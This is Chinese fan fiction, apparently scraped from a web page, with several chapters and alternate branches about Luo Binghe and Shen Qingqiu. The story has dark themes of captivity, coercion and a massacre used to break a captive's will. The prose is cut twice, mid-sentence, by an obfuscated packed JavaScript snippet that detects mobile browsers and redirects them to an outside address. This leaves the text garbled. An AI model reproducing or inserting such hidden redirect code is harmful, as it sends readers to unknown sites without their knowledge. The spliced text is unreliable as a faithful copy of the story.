洛冰河终于在沈清秋再次吩咐他做事的时候,一巴掌拍在桌子上: “沈清秋!你真把我当你弟子了!” “……” 沈清秋只是略微偏头,瞄他一眼。 看吧,不把他当弟子,对方觉得你不把他当弟子,不知道回应。 把他当弟子,他又觉得你怎么能让他当干活工具人? 这家伙,反正是怎么样都不对呗。 在沈清秋平淡又略带嘲讽的眼神下,洛冰河莫名的有点虚。 他不是故意那么说…… 其实他蛮喜欢对方将他当成弟子,让他‘帮忙’的感觉。这让他有一种被‘需要’的错觉。 只是…… 他不相信对方不明白他的意思! 那种对其他人、掏心掏肺,想要更进一步的意思! 故而,洛冰河理直但气不壮的对视。 劳资堂堂魔尊,还不能有个后宫? “想打架?” “……” 不是。 洛冰河眼神飘了飘。 对,沈清秋不喜与同性接触。 洛冰河尝试过所有方式,甚至割裂空间后遇到过另一个小畜生,和那个‘沈清秋’。 那样的沈清秋会容忍他的触碰、会主动与他同床共枕、会在他喊‘师尊’的时候第一时间回应。 可是。那不是他。 他的沈清秋永远不可能屈服,也不可能妥协。从来只有他看不起别人,打压别人的份,哪里需要温情脉脉的对待其他人? 而且,沈清秋已经给了他区别于所有人的关注和回应。 也容忍他跟着他的身边,不计较他曾造成的伤害。 而更深一步的接触,除非他是妹子,否则对方宁可跟他拼命。 对。沈清秋已经给了最大的努力。 但,哪又怎么办?! 谁让他就在这颗歪脖子树上钓死了! 洛冰河就是想要听对方亲口承认,就是想让他主动宽衣解带,想让他与之前那一次一样,将他真正的当成床伴! 他偏要尝这口绝对不甜、甚至要打得昏天黑地的瓜! “那就打吧。” 沈清秋将周围的研究笔记收好,长腿一跨,便站到了庭院中央。 打吧,打死彻底玩完;打不死就继续研究。 “……” 丫德。 看着沈清秋这动不动就以打架解决一切的作风,洛冰河都要怀疑自己了! 最重要的是,沈清秋打不打赢重要吗? 打赢了,洛冰河也不可能放他走。 打输了,洛冰河还要搭药喊大夫给他治病。 同理,洛冰河打赢打输也屁用没有。 打赢了,对方不可能让他睡不说,还绝对会伤痕累累、死伤惨重。要不是天魔血给他最后兜底,这家伙早死了不知多少次了! 打输了。 算了这个不可能。 就算可能,洛冰河拼着形神俱灭,也不可能让对方离开。 所以说,这架打得有什么意思? ———— “您怎么样才会同意?” 洛冰河摊牌了,他就是要将直男掰弯,要他和他一起沉沦! 什么鬼? 沈清秋从一堆纸张中抬起头,脑子还停留在数据海洋之中。 “...”行吧,洛冰河实在不能为难一个单纯直白的研究员,问他感情的事情,还不如问他研究进度。问前者对方会直接开打,问后者他却能跟你聊上一天! “您每天研究,究竟在分析什么东西?” “嗯?”沈清秋感觉对方并不像是感兴趣的人啊。算了,看在对方这么诚恳,给自己提供那么多资源的情况下,便跟他‘分享一二’吧。 “魔界的魔气,是一种毒。” “这种毒会使其中的生物发生畸变。” “破解这种毒,魔气便会消逝。” “魔界失去这道‘天险’,威力将大减。” “……” 所以,沈清秋之前回答他的‘覆灭魔界’,还真是没说错啊? 只是这家伙,现在怎么学会直白了? “那您的结果是?” 洛冰河拿起几份资料,没看出什么名头。 这些东西,每个都有‘防自学’禁制,没有人专门去讲述,是不可能看懂那些鬼画符一般的化学符号的。 沈清秋随手一击,庭院中充当装饰的岩石被激成粉末:“我要出去一趟。” “???!!!” 好家伙,所以这家伙的研究结果之一,就是破了天魔血? 洛冰河跟在沈清秋身后,看他御剑飞跃魔界与修真界的缝隙,直接到各个门派前叫阵:“一炷香内,将xx给我喊出来。” 半柱香的时间,某个一看就是老祖级别的人出现:“沈清秋?你身后跟着的,是魔尊洛冰河?你果然通魔!” “唧唧歪歪。” 沈清秋虚空而立,修雅出手,一剑斩之:“劳资成名以来,还是第一次吃那么大的亏。” 两人打的很快,xx震惊的看着对方:“你突破了天道压制?” “莫非……是与魔族双修?” “……” 洛冰河表示:别call我,我倒是想。 “不破不立,灵气与魔气皆是毒物,了解这一点之后,灵魔双修反而是唯一道路。” “别喊了,杀了你,还有下一个。敢算计我,就拿命来抵。” …… 沈清秋回来了。 他于对战之时沦落魔界,又当众被辱,成了修真界好长时间的笑料。 可现在,却以绝世之姿,将当初算计他的人一一砍杀。 昔有异鸟,三年不鸣;今则啼矣,一鸣惊人。 “小九……” 岳清源看着满身是血的背影,再次感叹自己来迟了。 年少沈九,曾将希望寄托于别人。 等不到救赎,于是一场大火覆灭一切,换取新生。 仙尊沈清秋,从不屈服,也不曾放弃。 无论是洛冰河如何威逼利诱,坚决拒绝成为对方‘床奴’、‘男宠’、‘伴侣’,独自研究后突破绝境。 长大后的沈清秋从来不需要别人相救,只要给他一个空隙,自会解决一切。 “岳掌门。” 洛冰河警惕的看着满脸深情的家伙,站在两者之间,割开对方的视线。 这家伙与沈清秋年少相识,又一切长大。在魔界时候没少收到对方的传信,全被他截了下来。 若说威胁力,这是最大的敌人。 “洛冰河!他是你师尊!你让他出那么大的事故,现在还敢跟着他!” “那也比不过岳掌门满心深情,恨不得让全世界都知道师尊是您的逆鳞,结果却什么也不做!” “你——” “师尊不需要别人假惺惺的关心,更不需要那些可有可无的补偿和陪伴。希望岳掌门收好那套虚伪的关怀,就像是之前一样,做好掌门就行。” “!!!” “你知道了什么?” “当然是……岳掌门以愧疚之名,该解释却从来不解释、该承认却玩弄他人仇恨的事情。” “我是不得已……” 岳清源脸色的温厚垮掉一瞬,瞬间挂上为难的苦笑。 可惜,对于同样是千年狐狸的洛冰河来说,这与不打自招没有区别。 为了防止对方找到沈清秋面前,用该死的‘苦衷’继续给沈清秋带来困扰,洛冰河直接打断了对方的话头: “那就继续你的宽厚仁慈,千万别拿出来恶心师尊。” —— “师尊。” 洛冰河与沈清秋站在同侧:“我们回去吧?” 沈清秋越过洛冰河的遮挡,遥遥看向岳清源。 岳清源脸色还是那般的憨厚与苦涩,就像是所有‘来迟之后发现故事已完结、追悔莫及’的痴情人。 迟来的深情比草都贱。 现在说‘来迟’,之前干什么去了? 沈清秋冲对方点点头,一步踏出,便将前尘往事皆散风中。 而那句‘小九……’ 再也不是困住沈清秋的梦魇。 ———— 番: “师尊…你怎么又开始研究?” “师尊,你研究灵魔双修,弟子正是现成的例子啊,研究那些死物,不如研究我?” “师尊,弟子保证特别听话,别看那些了,看我。” “别吵。” “您答应我,我就不乱,要不我就一直在您耳边烦您。” “什么?” "什么什么?" “你要我答应什么。” “!!!”简直是意外之喜,洛冰河极为认真的看着对方,满脸兴奋:“弟子想一直陪着您身边。” “哦。” “您不是要答应吗?怎么这样?!” “你已经在了,还要什么。” “...”行吧,毕竟一个标准理工仙尊,这句话也行吧。 43.小虐怡情-互杀分支 小虐怡情-互杀分支 这个是冰哥恢复狂傲结局记忆,九没有。嗯……走互杀互恨线。 ———— 洛冰河睁开眼的时候,脑海中一闪而过太多东西。新旧记忆交替,令他不知道自己是‘恢复记忆’还是夺舍了自己。 但。这个世界的‘自己’,到现在还是一个小小的洛少主;甚至被沈清秋当狗一样呼来唤去,给对方提供各自资源。 太废了。 比另一个世界那个哭嘤嘤的小畜牲还废。 沈清秋本就是魔界的阶下囚,又与他有过负距离接触,那就该丢到床铺之上,令他走不出寝宫。 可这个‘废物’,却小心翼翼的将对方捧在手心,各方面思考沈清秋的禁忌和癖好,将本属于洛冰河的宫殿,打造成沈清秋在魔界的‘家’。 为什么? 这个洛冰河要这样对待沈清秋? 凭什么? 这样小肚鸡肠、毒舌恶劣之人还能有这样的结局? 这样的恶毒小人,只有地牢才适合;这样的伪君子,只有死无全尸才应该:这样的薄情寡义之人,只有抹除他身后所有情感牵扯,让他精神崩溃、无处可逃才是正解! 甭管之前的洛冰河如何‘废物’,现在的他,决计不可能让对方好受! ———— 这是融合记忆以来,洛冰河第一次看见沈清秋。也是第一次知道,沈清秋认真做研究的样子,看起来倒是真的很‘专业’。 模仿着记忆中的样子,洛冰河给沈清秋递过去一根‘试管’。沈清秋毫无戒心的接过。 就像是,他轻易绕过阵法、出现在对方三尺之内,还没被驱逐一样。这个‘沈清秋’,并没有对他过多关注,甚至连抬头和挥手的动作都没有。 是对‘洛冰河’过于放心,还是对自己的‘训狗手段’极度自信? 洛冰河眼里划过简短的思考,接着颇有兴致的看着对方毫无攻击力伸开的手腕——一把抓住,并狠狠捏着后压住对方命门。 “?” 沈清秋之前头还埋在一堆仪器、数据之中,只是感知到有东西伸出并下意识的接过,而现在——他的手腕被人抓住、命脉被掐,莫名其妙的陷入被动。 太奇怪了。这是不该有的程序。 沈清秋抬起头,看着掐着自己手腕的洛冰河,眼里是极为明显的疑惑和不解:“有事?” 接着,他手腕甩了一下,并没有挣脱。 反而,对方的手抓得更紧,更用力了一些。用力到,他很清晰的感受到对方指甲在动脉上划过的痕迹,或许,已经有血液丝丝缕缕的开始流出。 事关自身,沈清秋终于将思绪从数据流中拉开,开始观察眼前这个跟犯了病似的洛冰河。 还是一样的脸,一样的身躯。 但眼神大不相同。 多说之前还算懵懂纯真,对他有执着和势在必得,但更多的是珍惜和听从。 现在这个——眼里只有堪称可怕的占有欲,和随时想要撕碎他的野心和凶狠。 要么,眼前这个不是本人。 要么,他做了什么梦,或者意外获得某种预警,导致性情大变。 “怎么了。” 沈清秋心中百转千回,声音却平淡至极。兵来将挡、水来土掩,不管对方如何出招,他见招拆招的接着就是了。 只是,手腕被人狠狠扼住的感觉并不美好,对方过于强烈的侵略性气息也令他忍不住邹着眉头。 洛冰河早就知道,‘他’的表现,会影响‘沈清秋’的性格。 比如那个只会哭的玩意,沈清秋就会因心疼而性情柔软。在得知‘他’的身份后瞬间软了腿、噤了声。 而自己那个,从头到尾都是对他极为抗拒,不管是对他表示敬仰和准从,还是凶恶与打压,都是从不退缩的咬牙对打。 继而…… 那个小畜牲,与‘柔弱’沈清秋携手共进; 自己与‘恶劣’沈清秋相对相杀。 而这个…… 却是师仁子孝的平淡相处? 凭什么呢?为什么呢? 他得不到的东西,也不会允许别人得到。那个小畜牲护那么紧—— 眼前这个,可没人护。 不管是夺舍还是交换,在‘回归’的这段时间里,都足够洛冰河(狂傲冰哥)将他虐杀。 思即此,洛冰河手上用力,欲将对方拉倒怀里。 他已经知道,只要不是自己那个,沈清秋的战力都不会多强,也不会对‘洛冰河’有多大恶意和警惕。 在最后的‘决裂’之前,他还有一段‘温馨’相处的时光。 只是。 洛冰河刚一用力,沈清秋已转正身形,左手捏着一片尖锐竹刃,向洛冰河手腕划去。 “?”洛冰河有些始料不及,一时不察之下,下意识将手里捏着的手腕松开,后退半步躲闪。 等他再想上前,清晰感受到层层阵法的阻隔。 “呵。”洛冰河冷笑了一下。 这个沈清秋虽然对‘洛冰河’不如自己那个警惕,但应变和该有的准备,却一个不少嘛。 也是。毕竟身处魔界,记忆之中还被喂了天魔血压制灵力,从地牢里捞出当众折辱,若是没点应变之策,反倒不像是他了。 沈清秋有些烦躁。 他好好做着研究,洛冰河就跟有病似的,非要打扰他就算了,还突然捏住他的手腕,即便是现在‘解救’出来,漆黑发紫的印记中,也能看出对方究竟用了多大的力气。 而刚才,对方是想将他拉入怀中? 之前下药不成,现在又故态复萌? 如果是这样,还是赶快破解天魔血的压制,直接回清静峰做研究得了。 ———— 洛冰河认真研究了一下记忆。 沈清秋的性子,与自己那个没太大改变。 若说两者的异同,大概就是在拼尽全力之后,都曾自发求死,又都被天魔血救活续命。 自己那个,被他丢入地牢。反正都死不了,也无所谓对方搞什么幺蛾子,打压就是了。 他这个,被‘洛冰河’小心翼翼的养护,几乎随叫随到的给予帮助和细致安慰,依旧将对方当成仙尊去维护对方那该死的自尊心。 所以最后所导致的。 就是一个伤痕累累到即便身躯不死,灵魂依旧破碎。 另一个因为被养得精致,性情极为平和不说,还能‘理所应当’的将洛冰河当成随叫随到的工具人弟子。 所以,沈清秋是他的。 ‘沈清秋’既然能随着‘洛冰河’的改变而改变,不正是意味着‘沈清秋’本该是‘洛冰河’的附属吗? 洛冰河伸开尚显稚嫩的手掌,看着其中并不算明显的命运线。 他的命运自然是由自己做主的; 沈清秋的命运嘛。 自然是属于自己的。 而当他睁开眼的那刻起—— 这个沈清秋,自然也是自己的。 他足够强,也足够勇猛,其心智更是几人中的佼佼者。 只要是他想要的东西,必须是他的。 ———— 洛冰河很容易将魔尊撵下去,以极快的速度将魔族规整好,准备向修真界发起进攻。 这个副本他已经打通关过,现在他要将岳清源擒过来,用来威胁这个‘沈清秋’。 既然那个世界沈清秋愿意为他陪葬,用对方来拿捏沈清秋,也绝不会出错。 至于那个满心研究的家伙,等他走出实验室,发现整个世界早就被颠覆,他所有在乎的人都捏在洛冰河手中,他还能继续蜗居下去吗? 你那个该死的阵法,能阻拦想闯进去的人。 能护住外边的所有人吗? 当那些人被当着对方的面全部杀死,他不信他不疯。 这个世界的洛冰河太蠢了,居然想用柔情来感化对方。平和的沈清秋还是沈清秋吗?不疯癫的沈清秋还是他记忆中的恶劣小人吗? 想让沈清秋妥协,怎么可能‘求’来? 必须要打断他的筋骨,折碎他的翅膀,斩去他心中的所有执着,令他陷入脆弱又无助的境地——接着给予一根细细的蜘蛛丝。 之前的他就是做得太绝,彻底泯灭了沈清秋的所有情感,才会让他精神崩溃、灵魂破碎。 现在,他会记得给对方留下几个‘可能性’。毕竟——有软肋、有惦记之人的灵魂,才有活下去的星光。 而洛冰河需要做的,无非是杀死所有人之后,只需要随便留几个没什么威胁性的人物——沈清秋自然会为了仅剩几人的死活,向他服软求饶,主动跪地求欢。 ———— 洛冰河的计划很快就实施并完成。 对于已经推完全部剧情的人‘主角’来说,这些已经发生过一次的事情并没有什么乐趣。 就算是那些唾骂与强压下去的风言风语,洛冰河也完全不在乎。 这个世界是被他随时翻手把掐的游戏。 所有的一切他都在自己的记忆中尝试过,不管是美人、江山、尊崇、反叛。 只不过是重来一回的演绎。 而洛冰河想做的,无非是割断沈清秋退路的同时,用他刻意剩余的几个人物,牵制住沈清秋想要‘死亡’的心。 ———— 沈清秋辟谷丹用完,出门找炼丹材料。却在开门的一瞬间,看见不知道是正巧过来,还是等候已久的洛冰河。 洛冰河的表情和行为都很有问题。若不是失心疯,十有八九是走火入魔。 至于被人夺舍,也不是没可能。 最重要的是,对方发疯之后,消失的时间有点久。久到沈清秋辟谷丹用完,需要自己动手出门找资源。 要不然,沈清秋还能继续窝在实验室里,两耳不闻窗外事。 “师尊,别来无恙?” 话在嘴里绕了一圈,最后的吐出并不算困难。 这句‘师尊’,对这个洛冰河来说,基本上是不会喊——对待一个阶下囚,是没必要给出任何尊重的。 当然,偶尔喊一下名字和称谓,让对方意识到自己的俘虏地位,也是不错的折辱手段。 只是这个‘沈清秋’,依旧是那副平淡到什么都无所谓的架势,只用那双没什么感情的眸子直视着洛冰河。 即便对方什么话都没说,洛冰河却仿佛听到对方用毫无波澜的声音,发出近乎事不关己的疑惑:‘有事?’ 真是高傲啊。 洛冰河心想。 这样冷淡又无所谓的样子,就像是高悬于夜空的皓月。不论世事变化为何年何月,不管世人拥有多少悲欢离合,沧海桑田之中,只是那样将清冷的月光洒散于地面。 日光参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263760|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂在他们之间,薄薄的光线像是层层封锁的阵法,将两人的距离拉开至无限远。 他注视着沈清秋精致又苍白的脸,眼前却浮现出另一张被血迹、污垢遮盖的血团子。 冰冷的月亮啊,如果你不愿意将影子纳入寒潭,成全镜花水月的执念。就请坠落尘埃,成为私人的藏品吧。 若是你永远学不会将锋芒掩于云雾,那就别怪他—— 妄想九天揽月。 “师尊。”洛冰河认认真真的行了个弟子礼。倒不是因为别的,只是此时此刻,他想模仿一下这个世界的洛冰河,感受一下真正平等存在的师徒关系。 可惜沈清秋并没有给回应。 神情依旧淡漠而无畏,甚至在确认‘洛冰河没有正事’之后,大长腿跨出,绕开洛冰河向大门走去。 既然洛冰河只是莫名其妙的闹脾气,沈清秋何必与他多纠缠?早些找到自己需要的物资和材料,才是沈研究员行为准则的NO.1。 只是…… 某个难得想体验弟子生活的洛冰河,心情就很不美妙了。 故而,心情不好的洛弟子,一把将准备离开的沈师傅拉住,要带他去一个地方。 “不去。” 天大地大,研究最大。 沈清秋并不想浪费时间和洛冰河出去遛弯。他要将魔气的秘密破解,要研究如何解开天魔血的压制,要思索如何才能令修为更进一步。 这些都需要时间和精力。他哪有功夫和一个平日里还算省心的弟子出去遛弯? 嗯。沈清秋的想法挺好。 只是,掌握着割裂时空边缘,随时随地打开‘任意门’的洛冰河动作也很快。 一片狼藉的苍穹山,满是火烧痕迹的清静峰。 当沈清秋略感烦躁的推开拉住自己的胳膊,抬眼便看见了这些。 等他回头望向洛冰河,看清对方脸上的嘲弄与饶有趣味——沈清秋还是踏入了对方挖好的陷阱。 对生养自己的门派、属于自己的地盘,他没办法熟视无睹的漠视。 而当他一步跨出,独属于修真界的灵力快速充溢于经脉,那些被天魔血和魔气压制的修为,也慢慢的回归。 这一切都在彰显一件事—— 此地、此景。为真。 ———— 爱之欲其生、恶之欲其死。 世间万物皆是如此。 爱一个人,就连对方的缺点都觉得有趣;恨一个人,即便他完美无缺也觉得虚假。 沈清秋踏入被火烧成碳的山峰时,心里已做好了面对一切的准备。可令他最不能接受的是…… 这一切的始作俑者,正是自己身边笑的肆意的家伙。 对方恶劣的想看他惊慌无措、痛哭流涕的样子,过于贴近的距离里,透露着刻骨的恨和幸灾乐祸: “师尊,满意吗?” 沈清秋没有回头。 也没有继续向前走。 这里不是幻境,更不是梦境。 洛冰河大张旗鼓的搞这一套,就是为了击垮他的心理防线。 亲眼见证被摧毁的家园,惨死的同胞。 或许,还会剩下几个,半死不活的留着命。 至于他们最后的存活与否? 当然是——用来拿捏他。 如果他足够听话,那些人就能活; 可若是他不听话甚至反抗,那些人会眼睁睁死在他面前。 对敌之策,攻心为上。 洛冰河的出招堪称简单粗暴。 但——沈清秋能不应吗? 他不是真正的仙人,做不到无情无义;他身后有其他羁绊,做不到斩断尘缘。 对方之前的所作所为就像是初得一件宝贝,珍而重之的捧入手心,小心呵护。 可现在的一切,都在展示主人已易型改辄,变换了心意。 “你欲如何?” 沈清秋不能不接招,也没办法舍弃一切。即便剩下十之一二,能救,还是要让他们活。 即便代价很大,也总比全军覆没的强。 “你求我。” 洛冰河的回答也很干脆。 他要沈清秋自己跪地求饶,要他自己将尊严踩在脚下,要他抛弃一切、为了自己和他人的命,极尽卑微的伸出手掌,乞求主人的赐予。 “呵。” 沈清秋侧身远离对方伸过来的橄榄枝,将其一剑砍断。 “不可能。” 求是不可能求的,跪也不可能跪。 这时任何的退让,都是让对方更进一步的‘邀请’。 今天沈清秋退一步,明日便要割肉去喂狗,后日更是要亲自将傲骨折断、煨成汤汁递于对方折辱。 “那您打算?” 洛冰河并不在意沈清秋的拒绝,若是能同意,沈清秋就不是沈清秋。 只是他想知道,沈清秋会如何应对? 回答他的,是猛然被割裂的手掌,以及由鲜血凝聚而成的利剑。 “战。” 唯有实力和永不放弃抵抗的信念,才是真正的破局之法。 所有的退让、忍耐与平和,都是虚伪的假象。 “真好。弟子也觉得需要跟您打一场。” ——后续总不能指望女频写手写打斗吧—— ——所以结局也就这样了,反正只要打不死,双方就往死里打—— 44.救赎与水仙分支 小虐怡情-救赎分支 这个是九恢复狂傲结局记忆,而洛没有。算是走救赎线。 ———— 沈清秋陷入一个并不算美妙的梦境。 梦中,他没有在修真界与魔界的对打中被暗算,却被洛冰河于某次四派联审中指出各色罪名,继而毫不解释的,丢入幻花宫地牢。乃至于后续‘转入’魔族地牢之后,也无人为自己发声。 这很奇怪。 按理说,他不该如此‘缄默不言’。 更不该如此‘毫不反抗’的‘束手就擒’。 活像是被下了蛊,直接被天道磨灭了灵魂,强制下线似的。 而随着他的‘不反抗’、‘不反驳’,各种污名与谎言遍布,他被风言风语塑造成对弟子有邪念、对其他人有杀意、对同辈怀有恶意——的绝对反派。 而故事的最后,他失去身边所有人。 坑害牵连了无数人,最终也没能落得个全尸。 —— 这样的梦境并不美好,结局更是堪称凄惨。 与众叛亲离、支离破碎的结局相比。 最让人在意的,是‘从未反抗’。 他不可能不反抗。 更不可能妥协和屈服。 但他却在大庭广众之下,被谣言加身,被言论操控,接着捆上枷锁,囚于地牢。 简直令人费解。 结局写在开始之前。 时间却断层在故事中央。 他的存在,就像是被半路抹去。 这一切,是为谁做嫁衣? ———— “师尊……” 洛冰河看着突然加强的阵法,有些头疼。他师尊又怎么了,这突然闹脾气,是在跟他‘绝交’吗? 行行行,都是他的错,他非要拉自己并不好南风的师尊一起,所以惹到他了。 那他—— 也不会改的。 只是当今之际,还是要想办法先恢复两人之间的关系才行。 ———— “您是说,您陷入了一段梦魇?” “那段梦境里,弟子极尽凶恶,滥杀无辜,甚至还火烧清静峰,覆灭修真界?” “……” “所以您打算清理门户,却无能为力甚至下场凄惨?” 沈清秋没回话,数据却怎么也记录不下去了。 只要稍微回想一下那段梦境,剧烈的疼痛就会在灵魂深处炸裂开来,思绪与理智瞬间被摧毁,数不清的呐喊和怨恨汇成河流将他淹没。 就像是—— 那不是梦。而是他真实的、被掩盖的记忆。 或者说,是某种极有可能会发生的未来,和已经发生过的‘前世’。 他也很疑惑,但现在就是那样。 这场噩梦实实在在的改变了他,令他连思考的底层逻辑都被改变。那种不安与警惕令他草木皆兵,记忆交融的虚无却又令他怀疑一切。 还有—— 最重要的一点。 不管是为了怎样的故事,当他得知这一切后,舍弃那些愤恨、痛苦,扒开他心底深处,最令他想逃避却又逃不掉的疑惑与不满,他什么也做不了。 已经发生过的,事实。 是没有办法改变的。 “那弟子可真冤枉。” 洛冰河的脸色有点无奈,更多的却是一种复杂。这种对方因做了噩梦后的疏远,他要怎么解? 尤其是,沈清秋自己也知道那就是一场梦,一个没有办法改变的话本故事。 如果他‘分不清’这一切,洛冰河还能通过两者的异同来让对方‘走出梦魇、直面现在’。 但沈清秋太清醒了。 他不仅知道那是一场心魔。更清楚那是无疾而终的梦境,是他无法插手、无能修改的‘背景故事’。 逃不掉的噩梦、改变不了的结局,很可怕。 但—— 比起拼搏后的失败,现在的‘沈清秋’,根本没有‘入局修正’的能力。 ‘那只是一场梦。’ 无法改变。 无能更改。 拒绝参与。 结局已敲定。 这样的认知之中。这样堪称‘宿命’般的悲情色彩之下。 任何人,都无能为力。 那个中途被强迫下线之后,再次睁眼便是万籁俱寂,家破人亡的‘沈清秋’—— 即便是咬牙存活,又能如何? 即使是耗尽生命本源去对抗,除了激发敌人的虐杀兴趣,又能如何? 屈服之后,只会有更过分的折辱。 认命之后,是再也抬不起头的绝望。 而每一条出路都被堵死的情况下—— 除了自杀,别无他法。 而正是深知这一点,沈清秋‘梦醒’之后,更加缄默。 ‘他’作出的都是最佳选择。 可结局,依旧是那样的凄惨。 就像是永远跳不出棋局的棋子,即便是努力挣扎,却还是会被狠狠压下甚至直接拿走。 而棋子一旦跳出棋局,所有格子与横竖,都将容不得他。 这是一种极为深入和恐怖的绝望。 是无法改变的、埋藏在记忆深处的、被遮掩的……入骨的绝望。 当沈清秋感受到这份绝望之后。即使目前的‘洛冰河’面容稚嫩、言语温柔体贴、行为处世沉稳…… 他也很难再以之前的心态面对对方。 心结是最难解的。 而这种心结不源于其他,源于莫名出现的‘记忆’和‘梦境’。 无根之水,无源之惧。 这种虚无又莫名的情感,即便当事人并不算在意,但下意识的抵触与避让,最是伤人。 可若深究,却又怨不得旁人,也——没得改善。 水仙分支 沈清秋手中握着修雅剑,与冰哥对打。 狂傲九:三七、天泉。 沈清秋虽未回话,却轻飘飘的看了一眼年少版的自己,眼皮略压,权当点头。 接着手中灵力变换,以灵力将天魔血压出三成后灌入修雅之中。原本清翠的剑身,因天魔血而附上一层黑气,却又在灵力的加成下,血迹四溢,刻出繁复的花纹。 洛冰河:你不去帮忙?那是你弟子(冰哥)。 狂傲九:我可从没承认过。 洛冰河、惊喜:那您是说…… 狂傲九:…… 够了,别总是莫名其妙的确定这种东西好嘛? —— 沈清秋将冰哥压下,略看洛冰河一眼。洛冰河果断上前,抽取冰哥的生命本源。 唯有自己才能对付自己。 所以狂傲冰哥,也只有同一个本源的洛冰河才能真正压制毁灭。 —— 沈清秋看着狂傲九,忽略后面那个黏黏糊糊的家伙:确定? 狂傲九:当然是看遍世界,四处流浪。 沈清秋:那个狗皮膏药? 狂傲九(傲娇):想跟就让他跟。 —— 狂傲九:这次想研究什么。 沈清秋:空间虫洞,时空裂缝? 狂傲九:你弟子的拿手好戏? 沈清秋:那是你弟子。 狂傲九:他可是说过要享‘齐人之福’的。 沈清秋:他倒是敢想。 狂傲九:不如让他放个血? 沈清秋:半魔的血已太多,倒是那把剑(能横跨两界)。 狂傲九:他的气运倒是极好。 沈清秋、瞟一眼:你这话……倒不像夸奖。 狂傲九(顺口):比不得你幸运。 沈清秋(平淡):我替你打回来了。 狂傲九:…… 丫的,这两个人怎么都这种风格。这话说的人……怪不好意思的。 ——救赎水仙线(秋府)—— 1。少年救赎青年: 少年:你在担忧什么。 青年:他既喊我一声‘师尊’,总要清理门户。 少年:不是你的错 青年:没有阻拦对方灭世,便是师之惰。 少年:作出选择的是别人,你无法控制其他人,问心无愧,比什么都重要 2。青年救赎少年 少年:我等的人,不会来? 青年:对。 少年:为什么。我是被抛下的那个。 青年:没有人能抛下你,你只要比所有人都强,就能赢得所有。 少年:我需要一个解释 青年:公道需要自己去要 少年:你不觉得你的安慰很直男? 青年:你不需要别人的救赎,坚持本心,即为正确 双九:水仙 设想:冰哥去渣反后〈反复〉洗去狂傲九的记忆,让他‘学习’沈垣,被其他世界的沈清秋救走。 大概……属于水仙吧。 ——正文—— 一模一样的面容,一模一样的浅棕色瞳孔,一样的微笑弧度,一样的温柔问候。 可惜,狂傲九的一举一动虽看上去‘熟练’,却还是充满了‘僵硬模仿’‘刻意纠正’的痕迹。 “别——” 狂傲九看着猛然打碎餐盘的冰哥,下意识后退半步,被打骂的过往如同印记般灼热,虽尽力维持面容柔和,手指却控制不住的颤抖。 肩膀紧紧的收拢着,后背已拱起随时起跑的弧度,胳膊屈成肘击和抵抗的角度,右脚尖指向门外。虽不曾求饶,身体语言却清楚展示出他的害怕与想逃离。 “他不会这样。” 冰哥伸手掐住狂傲九的脖子,力道之大,随时能令对方首尾分离。 狂傲九脚尖离地,双手努力扒开对方的带着怒意的手掌。 他不知道又是哪里做错,惹到对方。 可他已尽最大努力去‘学习’,世间甚至没有两片一模一样的叶子,又怎能要求其他人真正模拟成另一个人? 这人就是个疯子。 寒意从狂傲九脊椎骨升起,莫名其妙被牵扯的愤怒和诡异到令人费解的恐惧细细密密爬满全身。 他从睁开眼,就被这个人‘要求’成固定模式,言谈举止必须遵循某种刻度。即便是他本身的姿态比对方要求的更优美端庄,也必须要‘修正’。 武力值并不占优的情况下,反抗会显得极为无力。而过于强烈的情感,也会随着无穷的时间流逝而平淡无波。 他就像是被制作出来的傀儡,依随主人心意——而改变。 他是谁? 他有怎么样的过往? 他为什么会成为其他人的‘替身’? 被层层封锁的门外有什么? 是明媚的阳光雨露,还是激烈的狂风暴雨?是风霜雨雪交加,还是四季如春?是百姓安居乐业,还是一片疮痍大地? 这些‘谜题’恐怕无人解答。 ‘他’被禁锢在樊笼之中,如何才能解开枷锁,复返自然? ———— “你是谁?” 狂傲九看着与自己如出一辙的脸,像是理解了什么。 只是。出于某种分不清晰的原因,他还是任话语落下: “你是我要‘模仿’的人?” “不。”沈清秋斩断紧锁于狂傲九手腕间的铁链,眼中只有被压制不住的疼惜: “你的性命只属于自己,之前只是被人蒙蔽。” 狂傲九眼皮下垂,某种悲哀的情绪涌出,却习惯性的拉起嘴角微笑,就像是无数次被责打后的温柔问询: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271567|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我的存在意义,就是为了‘取代’你。我这样一个‘模仿’你的替身,一个想要夺走他人特殊性的小偷,怎么会有‘独立’?” 对方眼里的悲伤已逆流成河,可被‘训练’已久的嘴角和表情,却依旧是温顺的、平和的、一看就让人觉得心神宁静的体贴。 这是无数次洗去记忆、重置性格后,造就的‘完美’。 在长久的时间河流里,反抗被打压,爆发被击垮,自杀被救回……最终,尖锐的棱角被磨碎,成为只会盈盈笑着的鹅卵石。 沈清秋有种想拉着他立刻离开的冲动,鼻头和眼角酸涩的近乎要落泪: “他想要你模仿的,另有其人。” 你本该——肆意自由。 是不该存在的时空裂缝,夺去你应走的道路。 而我,想要带你远离这场狗血的风波。 可惜狂傲九只是平和的点点头,像是看穿一切的了然,仿佛在谈论属于别人的故事: “所以,你可以如此‘心平气和’。” 即便声音平淡,语调柔和,一举一动像极了善解人意的长兄长姐。 